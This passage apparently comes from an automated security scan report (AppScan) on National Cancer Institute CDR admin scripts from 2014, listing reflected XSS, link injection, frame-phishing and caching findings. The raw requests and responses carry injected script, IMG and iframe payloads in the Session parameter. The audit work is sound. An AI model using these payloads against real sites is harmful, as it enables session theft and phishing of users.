HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:05:11 GMT
Connection: close
Content-Length: 3991

...
 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Processing Status Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'/><script> alert(1490) </script>'>
<table>
<tr>
<td align='right'><b>Processing Status: </b></td>
<td>
<select name='status'>
<option value=''>Select Processing Status Value</option>
<option value='Ready for translation'>Ready for translation</option>
<option value=
...
...
 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Processing Status Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
```

```
<input type='hidden' name='Session' value='None'/><script> alert(1490) </script>'>
<table>
<tr>
<td align='right'><b>Processing Status: </b></td>
<td>
<select name='status'>
<option value=''>Select Processing Status Value</option>
<option value='Ready for translation'>Ready for translation</option>
<option value=
...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448256 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryProcessingStatusReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1487.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryProcessingStatusReport.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1487.html%22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:05:09 GMT
Connection: close
Content-Length: 3988

...
E='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Processing Status Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1487.html"> '>
<table>
<tr>
<td align='right'><b>Processing Status: </b></td>
<td>
<select name='status'>
<option value=''>Select Processing Status Value</option>
<option value='Ready for translation'>Ready for translation</option>
<option value='Ready fo
...
...
E='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Processing Status Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='"'> <IMG SRC="/WF_XSRF1487.html"> '>
<table>
<tr>
<td align='right'><b>Processing Status: </b></td>
```

```
        <td>
        <select name='status'>
        <option value=''>Select Processing Status Value</option>
        <option value='Ready for translation'>Ready for translation</option>
        <option value='Ready fo
        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448269 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryProcessingStatusReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'None%27%22%3E%3Ciframe+id%3D1486+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryProcessingStatusReport.py? Session=None%27%22%3E%3Ciframe+id%3D1486+src%3
Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.htm l%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:05:08 GMT
Connection: close
Content-Length: 4022

...
og Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Processing Status Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'"> <iframe id=1486 src= http://demo.testfire.net/p
hishing.html > >'>
<table>
<tr>
<td align='right'><b>Processing Status: </b></td>
<td>
<select name='status'>
<option value=''>Select Processing Status Value</option>
<option value='Ready for translation'>Ready for translation</option>
<op
...
...
og Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Glossary Processing Status Report<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<input type='hidden' name='Session' value='None'"> <iframe id=1486 src= http://demo.testfire.net/p
hishing.html > >'>
<table>
<tr>
```

```
        <td align='right'><b>Processing Status: </b></td>
        <td>
        <select name='status'>
        <option value=''>Select Processing Status Value</option>
        <option value='Ready for translation'>Ready for translation</option>
        <op
        ...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448048 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryProcessingStatusReport.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryProcessingStatusReport.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:38:55 GMT
Connection: close
Content-Length: 3960

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Glossary Processing Status Report</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { colo
...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448247 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryProcessingStatusReport.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/GlossaryProcessingStatusReport.py'
- Set query string to 'Session=None'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryProcessingStatusReport.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:15:44 GMT
Connection: close
Content-Length: 3960

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Glossary Processing Status Report</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { colo
...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermAudioReviewReport.py - 5 issue(s)

### Issue 1 of 5

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448225 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermAudioReviewReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None"/><script>alert(1769)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermAudioReviewReport.py? Session=None"/><script>alert(1769)</script>
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:12:31 GMT
Connection: close
Content-Length: 4600


...
>Start date</label>
<br />
<input type="text" name="endDate" id="endDate"
class="CdrDateField size="10" />
<label for="endDate">End date</label>
</fieldset>

<input type="hidden" name="beenHere" value="beenHere" />
<input type="hidden" name="Session" value="None"/><script> alert(1769) </script>" />
</form>
</body>
</html>
...
>Start date</label>
<br />
<input type="text" name="endDate" id="endDate"
class="CdrDateField size="10" />
<label for="endDate">End date</label>
</fieldset>

<input type="hidden" name="beenHere" value="beenHere" />
<input type="hidden" name="Session" value="None"/><script> alert(1769) </script>" />
</form>
</body>
</html>
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448140 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermAudioReviewReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1766.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermAudioReviewReport.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1766
.html%22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:12:31 GMT
Connection: close
Content-Length: 4597

...
="startDate">Start date</label>
<br />
<input type="text" name="endDate" id="endDate"
class="CdrDateField size="10" />
<label for="endDate">End date</label>
</fieldset>

<input type="hidden" name="beenHere" value="beenHere" />
<input type="hidden" name="Session" value=""'> <IMG SRC="/WF_XSRF1766.html"> " />
</form>
</body>
</html>
...
="startDate">Start date</label>
<br />
<input type="text" name="endDate" id="endDate"
class="CdrDateField size="10" />
<label for="endDate">End date</label>
</fieldset>

<input type="hidden" name="beenHere" value="beenHere" />
<input type="hidden" name="Session" value=""'> <IMG SRC="/WF_XSRF1766.html"> " />
</form>
</body>
</html>
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448219 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermAudioReviewReport.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D1765+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermAudioReviewReport.py? Session=None%27%22%3E%3Ciframe+id%3D1765+src%3D
http%3A%2F%2Fdemo.testfire.net%2Fphishing.html% 3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:12:30 GMT
Connection: close
Content-Length: 4631


...
artDate">Start date</label>
<br />
<input type="text" name="endDate" id="endDate"
class="CdrDateField size="10" />
<label for="endDate">End date</label>
</fieldset>

<input type="hidden" name="beenHere" value="beenHere" />
<input type="hidden" name="Session" value="None'"> <iframe id=1765 src= http://demo.testfire.net/p
hishing.html > >" />
</form>
</body>
</html>
...
artDate">Start date</label>
<br />
<input type="text" name="endDate" id="endDate"
class="CdrDateField size="10" />
<label for="endDate">End date</label>
</fieldset>

<input type="hidden" name="beenHere" value="beenHere" />
<input type="hidden" name="Session" value="None'"> <iframe id=1765 src= http://demo.testfire.net/p
hishing.html > >" />
</form>
</body>
</html>
```

## Issue 4 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448139 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermAudioReviewReport.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/GlossaryTermAudioReviewReport.py'
- Set query string to 'Session=None'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermAudioReviewReport.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:16:56 GMT
Connection: close
Content-Length: 4569

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Glossary Term Audio Review Statistical Report</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDer
...
```

## Issue 5 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448146 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermAudioReviewReport.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermAudioReviewReport.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:41:11 GMT
Connection: close
Content-Length: 4569

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>Glossary Term Audio Review Statistical Report</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDer
...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermPhrases.py - 5 issue(s)

### Issue 1 of 5

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448085 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermPhrases.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(1459)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermPhrases.py? Session=None'/><script>alert(1459)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:04:28 GMT
Connection: close
Content-Length: 3212

...
has completed, email notification
will be sent to all addresses specified below. At least
one email address must be provided. If more than one
address is specified, separate the addresses with a blank.
</p>
<br>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1459) </script>'>
<TABLE BORDER='0'>
<TR>
<TD ALIGN='right'><B>Document ID: </B></TD>
<TD><INPUT NAME='Id'></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Glossary Term Name: </B></TD>
<TD><INPUT NAME='Name'></TD>
</TR>
<TR>
<TD ALIGN='right'><B>E
...
...
has completed, email notification
will be sent to all addresses specified below. At least
one email address must be provided. If more than one
address is specified, separate the addresses with a blank.
</p>
<br>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(1459) </script>'>
<TABLE BORDER='0'>
<TR>
<TD ALIGN='right'><B>Document ID: </B></TD>
<TD><INPUT NAME='Id'></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Glossary Term Name: </B></TD>
```

```
        <TD><INPUT NAME='Name'></TD>
        </TR>
        <TR>
        <TD ALIGN='right'><B>E
        ...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448242 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermPhrases.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1456.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermPhrases.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF1456.html%22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:04:27 GMT
Connection: close
Content-Length: 3209

...
t processing has completed, email notification
will be sent to all addresses specified below. At least
one email address must be provided. If more than one
address is specified, separate the addresses with a blank.
</p>
<br>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1456.html"> '>
<TABLE BORDER='0'>
<TR>
<TD ALIGN='right'><B>Document ID: </B></TD>
<TD><INPUT NAME='Id'></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Glossary Term Name: </B></TD>
<TD><INPUT NAME='Name'></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Email:&nbs
...
...
t processing has completed, email notification
will be sent to all addresses specified below. At least
one email address must be provided. If more than one
address is specified, separate the addresses with a blank.
</p>
<br>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF1456.html"> '>
<TABLE BORDER='0'>
<TR>
<TD ALIGN='right'><B>Document ID: </B></TD>
<TD><INPUT NAME='Id'></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Glossary Term Name: </B></TD>
<TD><INPUT NAME='Name'></TD>
</TR>
<TR>
```

```
        <TD ALIGN='right'><B>Email:&nbs
        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448312 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermPhrases.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D1455+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermPhrases.py? Session=None%27%22%3E%3Ciframe+id%3D1455+src%3Dhttp%3A%2F
%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 08:04:27 GMT
Connection: close
Content-Length: 3243

...
ocessing has completed, email notification
will be sent to all addresses specified below. At least
one email address must be provided. If more than one
address is specified, separate the addresses with a blank.
</p>
<br>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1455 src= http://demo.testfire.net/p
hishing.html > >'>
<TABLE BORDER='0'>
<TR>
<TD ALIGN='right'><B>Document ID: </B></TD>
<TD><INPUT NAME='Id'></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Glossary Term Name: </B></TD>
<TD><INPUT NAME='Name'></TD>
</TR>
<TR>
<TD ALIGN='
...
...
ocessing has completed, email notification
will be sent to all addresses specified below. At least
one email address must be provided. If more than one
address is specified, separate the addresses with a blank.
</p>
<br>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=1455 src= http://demo.testfire.net/p
hishing.html > >'>
<TABLE BORDER='0'>
<TR>
<TD ALIGN='right'><B>Document ID: </B></TD>
<TD><INPUT NAME='Id'></TD>
</TR>
<TR>
<TD ALIGN='right'><B>Glossary Term Name: </B></TD>
<TD><INPUT NAME='Name'></TD>
</TR>
```

```
        <TR>
        <TD ALIGN='
        ...
```

## Issue 4 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448260 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermPhrases.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/GlossaryTermPhrases.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermPhrases.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:15:34 GMT
Connection: close
Content-Length: 3181

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448289 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermPhrases.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/GlossaryTermPhrases.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
